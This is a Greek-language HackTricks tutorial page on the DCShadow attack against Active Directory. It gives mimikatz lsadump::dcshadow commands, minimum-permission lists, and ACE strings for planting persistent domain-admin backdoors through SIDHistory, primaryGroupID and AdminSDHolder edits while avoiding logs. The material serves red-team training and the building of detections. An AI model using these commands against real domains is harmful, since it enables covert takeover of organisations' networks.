DCShadow

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

DCShadow

Καταχωρεί έναν νέο Domain Controller στο AD και τον χρησιμοποιεί για να σπρώξει χαρακτηριστικά (SIDHistory, SPNs...) σε καθορισμένα αντικείμενα χωρίς να αφήνει κανένα καταγραφή σχετικά με τις τροποποιήσεις. Χρειάζεστε δικαιώματα DA και να είστε μέσα στο root domain. Σημειώστε ότι αν χρησιμοποιήσετε λανθασμένα δεδομένα, θα εμφανιστούν αρκετά άσχημες καταγραφές.

Για να εκτελέσετε την επίθεση χρειάζεστε 2 στιγμιότυπα του mimikatz. Ένα από αυτά θα ξεκινήσει τους RPC servers με δικαιώματα SYSTEM (πρέπει να υποδείξετε εδώ τις αλλαγές που θέλετε να εκτελέσετε), και το άλλο στιγμιότυπο θα χρησιμοποιηθεί για να σπρώξει τις τιμές:

mimikatz1 (RPC servers)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - Απαιτεί DA ή παρόμοιο
lsadump::dcshadow /push

Σημειώστε ότι elevate::token δεν θα λειτουργήσει σε mimikatz1 συνεδρία καθώς αυτό ανέβασε τα δικαιώματα του νήματος, αλλά πρέπει να ανεβάσουμε το δικαίωμα της διαδικασίας. Μπορείτε επίσης να επιλέξετε και ένα "LDAP" αντικείμενο: /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

Μπορείτε να σπρώξετε τις αλλαγές από έναν DA ή από έναν χρήστη με αυτές τις ελάχιστες άδειες:

  • Στο αντικείμενο τομέα:

  • DS-Install-Replica (Προσθήκη/Αφαίρεση Αντιγράφου στον Τομέα)

  • DS-Replication-Manage-Topology (Διαχείριση Τοπολογίας Αναπαραγωγής)

  • DS-Replication-Synchronize (Συγχρονισμός Αναπαραγωγής)

  • Το αντικείμενο Τοποθεσιών (και τα παιδιά του) στο δοχείο Διαμόρφωσης:

  • CreateChild and DeleteChild

  • Το αντικείμενο του υπολογιστή που είναι καταχωρισμένος ως DC:

  • WriteProperty (Όχι Γράψιμο)

  • Το στόχο αντικείμενο:

  • WriteProperty (Όχι Γράψιμο)

Μπορείτε να χρησιμοποιήσετε Set-DCShadowPermissions για να δώσετε αυτά τα δικαιώματα σε έναν μη προνομιούχο χρήστη (σημειώστε ότι αυτό θα αφήσει κάποια αρχεία καταγραφής). Αυτό είναι πολύ πιο περιοριστικό από το να έχετε δικαιώματα DA. Για παράδειγμα: Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose Αυτό σημαίνει ότι το όνομα χρήστη student1 όταν συνδέεται στη μηχανή mcorp-student1 έχει άδειες DCShadow πάνω στο αντικείμενο root1user.

Χρήση του DCShadow για τη δημιουργία πισωπόρτων

Set Enterprise Admins in SIDHistory to a user
lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
Αλλαγή PrimaryGroupID (βάλε τον χρήστη ως μέλος των Domain Administrators)
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
Τροποποίηση ntSecurityDescriptor του AdminSDHolder (δώστε Πλήρη Έλεγχο σε έναν χρήστη)
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

Shadowception - Δώστε δικαιώματα DCShadow χρησιμοποιώντας DCShadow (χωρίς τροποποιημένα αρχεία καταγραφής δικαιωμάτων)

Πρέπει να προσθέσουμε τα παρακάτω ACEs με το SID του χρήστη μας στο τέλος:

  • Στο αντικείμενο τομέα:

  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)

  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • Στο αντικείμενο υπολογιστή του επιτιθέμενου: (A;;WP;;;UserSID)

  • Στο αντικείμενο του στόχου χρήστη: (A;;WP;;;UserSID)

  • Στο αντικείμενο Sites στο δοχείο Configuration: (A;CI;CCDC;;;UserSID)

Για να αποκτήσετε το τρέχον ACE ενός αντικειμένου: (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=local")).psbase.ObjectSecurity.sddl

Σημειώστε ότι σε αυτή την περίπτωση πρέπει να κάνετε πολλές αλλαγές, όχι μόνο μία. Έτσι, στη συνεδρία mimikatz1 (RPC server) χρησιμοποιήστε την παράμετρο /stack με κάθε αλλαγή που θέλετε να κάνετε. Με αυτόν τον τρόπο, θα χρειαστεί να /push μόνο μία φορά για να εκτελέσετε όλες τις κολλημένες αλλαγές στον ψεύτικο server.

Περισσότερες πληροφορίες σχετικά με το DCShadow στο ired.team.

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

Last updated